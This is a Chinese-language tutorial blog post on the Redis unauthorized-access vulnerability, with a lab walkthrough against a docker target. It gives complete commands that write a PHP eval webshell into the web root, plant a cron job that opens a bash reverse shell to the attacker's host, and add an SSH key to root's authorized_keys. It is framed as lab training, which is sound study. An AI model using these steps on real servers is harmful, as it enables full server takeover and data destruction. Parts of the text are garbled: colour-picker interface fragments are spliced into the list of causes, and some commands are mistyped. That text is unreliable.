作者:凌度
1. redis 数据库基础知识:
redis 简介:
redis 是一个非常快速的、开源的、支持网络、可基于内存可持久化的日志型、非关系类型的、Key-Value 数据库,并且提供多种语言的 API 。它提供了 Jave,C/C++,C#,PHP,JaveScript,Perl,Object-C,Python,Ruby,Erlang 等客户端,使用很方便
1. redis 应用场景:
Redis 在Java Web 主要有两个应用场景
存储缓存用的数据需要高速读/写的场合使用它快速读/写
例如:当你需要去处理一个百万级别的并发请求的时候(双十一抢红包,抢优惠券),如果只是单纯地依赖于数据库,那么对客户的体验是非常差的,这个时候就需要使用我们的 redis 进行提前的缓存,提高客户的使用体验
2. redis 常用命令:
Redis常用命令:
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
# 下面的命令慎用:
flushall # 删除所有数据(慎用)
del key # 删除键为key的数据
2. redis 未授权访问漏洞的成因和危害:
1. 漏洞定义:
redis末授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址器的远程登录,对目标服务器完成后续的控制和利用。
2. 漏洞成因:
1、redis版本为4.x/5.
(307,197)
2、redis绑定在 0.0.00: 128,132,134#行添加防火墙规则避免其他非信任来源ip访问等相关安全策按 C复制颜色值略,直接暴露在公网;按shift 切换 RGB/HEX
3、没有设置密码认证(一般为空),可以免密码远程登录redis服务。
3. redis 未授权访问的危害:
1. 漏洞危害:
1. Redis未授权访问:
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器
2. Redis主从复制RCE在Reids 4.x之后:
Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言编译并加载恶意so文件,达到代码执行的目的
3. 漏洞危害总结:
攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制
攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制
最严重的情况,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
其实说白了就是,你只要只够连接它的 redis ,就可以进行进一步利用
4. 漏洞复现准备:
凌度有话说:下面是介绍两个实验环境,我演示的是基于实验环境一
1. 实验环境一:
该实验环境采用 docker 搭建,来源于合天网安实验室,下面这个是链接:
实验:Redis未授权访问漏洞(合天网安实验室)
实验环境:目标机器 CentOS7+Apache+Redis
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:kali 、ip 地址:10.1.1.100
2. 实验环境二:
当然你也可以使用 vulhub(我更推荐使用 vulhub,因为是采用的 docker 搭建,非常方便)
1. kali 准备连接 redis 连接工具:
我们以 kali 作为攻击机,我们演示的是 redis 未授权访问,也就是不需要输密码也能进行连接,但是我们也是需要提前去安装连接 redis 的工具的
安装 redis-tools 包管理器
apt install redis-tools //安装包管理器
安装 redis 压缩包
wget http://download.redis.io/releases/redis-6.0.3.tar.gz //下载redis
解压刚刚安装好的 redis 压缩包
tar -zxvf redis-6.0.3.tar.gz //解压
进入解压后的数据包,然后输入 make 进行编译安装
cd redis-6.0.3
make //编译
redis-cli -h 10.1.1.200 -p 6379 //连接redis服务器
# 然后我们输入 auto username password 即可实现登录
如果存在 redis 未授权访问漏洞的话,就可以直接进行连接
redis-cli -h 10.1.1.200 -p 6379 //连接redis服务器
-h:指定连接的redis服务器
-p 指定6379端口
info打印信息 如版本目录信息
5. 基于实验环境一漏洞利用实战:
目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200 攻击机器:kali 、ip 地址:10.1.1.100
首先我们进入到合天实验室之后,装环境
get http://tools.hetianlab.com/tools/RedisUnauthorized.zip
解压unzip RedisUnauthorized.zip
tar -zxvf redis-6.0.3.tar.gz
#移动到redis文件夹下
make
#移动到/redis/src 将redis-cli复制到/usr/bin目录下
cp redis-cli /usr/bin
1. 端口扫描+路径发现:
nmap -p- -sV 10.1.1.200
# 我们通过 dirsearch 发现 phpinfo.php 文件,从而获取该往网站的绝对路径
dirsearch -u 10.1.1.200
发现 6379 端口,由于演示的是 redis 未授权权漏洞,因此其它端口不演示
2. 漏洞利用:
1. 方法一拿 shell(写入 php 一句话)
redis-cli -h 10.1.1.200
info
根据网站的绝对路径写入一句话木马,绝对路劲要么猜出来,要么就是根据上述 dirsearch 扫描出来的 phpinfo 文件进行获取
config set dir /var/www/html
config set dirfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save
然后我们即可拿到 shell
2. 方法二拿 shell(反弹 shell)
1. kali 开启端口监听:
nc -lnvp 4433
2. 写入反弹 shell 文件 code:
config set dir /var/spool/cron //设置备份路径,这里就是设置定时任务的文件夹
config set dbfilename root //设置备份文件名
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
//设置内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/.........
save //保存
3. 方法三拿 shell(写入 ssh 文件)
1. 写入 ssh 文件拿 shell 原理:
攻击者在未授权访问Redis的情况下可以利用Redis,运行 Redis的用户是 root 用户,攻击者将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,所以可以无需密码直接登录目标服务器。
ssh-keygen -t rsa
3.将公钥写入txt文件,用\n换行,避免和Redis混合不好分辨
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt /查看txt文件
4.用redis-cli -h ip命令连接靶机
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey //连接靶机传入文件
redis-ccli -h 10.1.1.200 -p 6379 //连接redis
config set dir /root/.ssh/ //设置备份文件路径
config set dbfilename "authorized_keys" //命名
save //保存
5.利用ssh远程连接目标机器 ,连接成功:
ssh root@10.1.1.200 -i/root/.ssh/id_rsa //